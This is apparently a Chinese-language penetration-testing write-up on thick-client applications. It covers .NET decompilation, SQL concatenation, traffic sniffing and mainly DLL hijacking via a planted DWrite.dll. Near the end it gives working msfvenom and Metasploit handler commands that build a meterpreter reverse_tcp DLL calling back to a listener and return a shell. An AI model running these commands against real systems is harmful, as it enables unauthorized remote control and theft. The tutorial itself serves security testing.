胖客戶端就是我們常說的 C/S 架構的應用程式,其主要特點是客戶端執行部分應用邏輯,伺服器端則提供儲存和計算支援,兩者之間通過網路進行通訊和互動。而我們常說的「瘦客戶端」就是基於 B/S 架構的應用程式,也就是基於瀏覽器的應用程式。
拿到一個胖客戶端程式可以先看下胖客戶端是什麼架構,一般像後綴是 exe 結尾的,很多都是 C、C# 或者.NET 編譯的。
可以通過 CFF Explorer 查看目標程式的架構,如下圖。
可以看到,這是一個 32 位的程式,利用 Microsoft Visual Studio .NET 編譯,是一個.net 程式。
像這種.NET 的程式,可以用 dnspy(GitHub - dnSpy/dnSpy: .NET debugger and assembly editor),DNspy 是一款著名的.NET 反編譯器,可以反編譯.NET 編譯後的檔案,包括可執行檔(exe)、DLL 檔案、NET 程式集等。使用 DNspy 反編譯 exe 檔案可以方便地查看其原始碼和內部結構,幫助理解和分析程式的運行機制。
可以從中看到 sql 語句查詢,從這裡我們可以看到 sql 語句未做任何過濾,直接拼接,但是這裡直接加了單引號,導致每次查詢都會多有一個單引號,沒法繞過。
但是如果客戶端程式可以直接反編譯的話,那麼如果說客戶端程式在沒做任何簽名的情況下,可以重新編譯,打包成另一個程式,後果就是可以偽造官方客戶端,從中寫入惡意檔案,通過這種方式可以進行釣魚等攻擊。
此處不放圖了,修改後,可以直接像正常客戶端程式那樣使用。
也可以通過 wireshark 或者科來對其流量進行檢測,檢測應用在傳輸的過程中是否洩漏敏感資訊。
從上圖可以看出,此胖客戶端使用 tds 資料庫協議,節點的 ip 地址、端口等內容。
還包括在傳輸過程中洩漏了 sql 語句。
除了 wireshark 和科來等工具分析流量之外,echo mirage 也可以用來進行流量分析,可自行下載使用。
接下來,回到我們的這篇文章的正題,dll 劫持漏洞,既然是胖客戶端應用,那麼就會載入各類 dll 檔案。
DLL 劫持(DLL Hijacking)是一種攻擊技術,利用系統在載入動態連結庫(DLL)時的搜索順序錯誤或缺陷,在系統中尋找可用的 DLL 檔案時,將正常的檔案替換成惡意檔案,使得系統載入並執行了被控制的 DLL 檔案,達到攻擊者的目的。
DLL 劫持攻擊的危害大,可以被用於各種惡意活動,例如:
1、竊取敏感資訊:惡意 DLL 檔案可能會竊取使用者的敏感資訊,例如登錄帳號、密碼等。
2、執行遠程指令:通過劫持 DLL 檔案,攻擊者可能會遠程控制使用者的電腦執行惡意指令,例如下載、安裝其他惡意程式等。
3、破壞系統的完整性和穩定性:劫持的 DLL 檔案可能會破壞系統的安全性、完整性和穩定性,例如篡改系統設定、破壞系統檔案等。
dll 劫持利用的第一步是獲取可利用的 dll 檔案。
這個時候就的使用 Sysinternals Suite 套件,利用套件下的 Procmon Monitor 工具,可以查看當前運行的程式的相關進程情況。
載入後可以看到各類當前運行程式的進程名、PID、路徑等,按 ctrl+L 過濾處特定程式的進程。
同時如果目標程式載入了配置檔的話,通過這個工具也可以查看到。
既然是 dll 劫持,那麼我們就要去找可利用的 dll。
在目標程式的目錄下,找到了一個 DWrite.dll 檔案,這個檔案是 Windows 操作系統的一部分,它是 DirectWrite API 動態連結庫檔案。DirectWrite 是一個用於渲染文字和字型的 API,它使用硬體加速和先進的字型渲染技術來提供更高品質、更清晰的文字呈現效果。
在 Windows 系統中,許多應用程式(比如 Adobe Creative Suite 等)都會使用 DirectWrite 技術來渲染文字和字型,因此 dwrite.dll 檔案在許多應用程式中都會被呼叫和使用。
可以通過搜索去搜索 NAME NOT FOUND 的這種進程。
找 dll 可以多嘗試幾個 dll 檔案,除了找到 dll 檔案,還需要了解 windows 下 dll 檔案的載入順序。
1、搜索應用程式所在目錄
2、Windows 系統目錄(如 C:\Windows\System32)
3、常規的 windows 目錄( C:\Windows\System32 和 C:\Windows)
4、搜索 Administrator 類型的 Windows 系統目錄(如 C:\Windows\SystemWOW64)
5、搜索 PATH 環境變數中的所有目錄
6、當前工作目錄
作業系統按照上述順序在指定的目錄和檔案中查找 DLL 檔案,並將它們載入到應用程式中。
了解了 dll 載入順序,並且找到了 dll 檔案,那麼就可以開始構造惡意的 dll 檔案了,通過 metasploit 框架來進行構造。
msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.100.100 LPORT=4444 -a x86 --platform Windows -f dll > DWrite.dll
# LHOST= 192.168.100.100,LHOST寫上監聽的ip
將 dll 檔案複製到客戶端目錄下,啟動 vps 上的 msf 進行監聽,然後啟動客戶端 exe 程式,成功返回 shell。
msf6> use exploit/multi/handle
msf6> set payload windows/meterpreter/reverse_tcp
msf6> set lhost 192.168.100.100
msf6> set lport 4444
msf6> exploit
直接返回運行目標程式的客戶端的系統 shell。
後續,寫這篇文章是因為看到了一篇關於白加黑的文章(https://xz.aliyun.com/t/12376),看到其中的內容就是關於 dll 劫持的,發現自己以前也遇到過這種 dll 的漏洞,特此記錄下。